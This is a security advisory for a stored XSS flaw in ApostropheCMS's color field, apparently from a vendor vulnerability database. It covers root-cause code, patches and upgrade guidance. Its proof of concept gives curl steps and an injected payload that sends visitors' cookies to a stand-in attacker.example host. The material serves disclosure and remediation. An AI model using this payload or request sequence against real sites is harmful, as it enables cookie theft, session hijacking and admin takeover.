GHSA-97v6-998m-fp4g is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-97v6-998m-fp4g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-97v6-998m-fp4g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.
Details
Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)
The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:
// modules/@apostrophecms/color-field/index.js:26-38
async convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
// ...
const test = new TinyColor(destination[field.name]);
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
}
},
A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.
Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)
The getWidgetElements() method concatenates the CSS string directly into a <style> tag:
// modules/@apostrophecms/styles/lib/methods.js:232-234
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
css +
'\n</style>';
This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).
Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)
The renderNodes() function returns node.raw without escaping:
// modules/@apostrophecms/template/index.js:1164-1165
if (node.raw != null) {
return node.raw;
}
Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.
PoC
Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.
Step 1: Authenticate and obtain a CSRF token and session cookie.
# Login as editor
COOKIE_JAR=$(mktemp)
curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"editor123"}'
# Extract CSRF token
CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
Step 2: Create or update a piece/page with a malicious color value in a styled widget.
The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):
# Inject XSS payload via color field in widget styles
# The --x prefix bypasses TinyColor validation
PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>'
curl -s -b "$COOKIE_JAR" -X POST \
"http://localhost:3000/api/v1/@apostrophecms/page" \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $CSRF" \
-d '{
"slug": "/xss-test",
"title": "Test Page",
"type": "default-page",
"main": {
"items": [{
"type": "some-widget",
"styles": {
"backgroundColor": "'"$PAYLOAD"'"
}
}]
}
}'
Step 3: Publish the page.
curl -s -b "$COOKIE_JAR" -X POST \
"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \
-H "X-XSRF-TOKEN: $CSRF"
Step 4: Any visitor navigates to the published page.
# As an unauthenticated visitor
curl -s http://localhost:3000/xss-test | grep -A2 'onerror'
Expected (safe): The color value is escaped or rejected.
Actual: The rendered HTML contains:
<style data-apos-widget-style-for="..." data-apos-widget-style-id="...">
.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; }
</style>
The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.
Impact
- Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.
- Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.
- Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.
- No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.
Recommended Fix
Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):
// Before (line 36):
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
}
// After:
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
} else if (destination[field.name].startsWith('--')) {
// CSS custom property names: only allow alphanumeric, hyphens, underscores
if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {
destination[field.name] = null;
}
}
Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):
// Before (line 232-234):
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
css +
'\n</style>';
// After:
const sanitizedCss = css.replace(/<\//g, '<\\/');
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
sanitizedCss +
'\n</style>';
Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.29.0npm install apostrophe@4.29.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-97v6-998m-fp4g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-97v6-998m-fp4g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-97v6-998m-fp4g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-97v6-998m-fp4g in your dependencies?
O3 Security finds GHSA-97v6-998m-fp4g across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.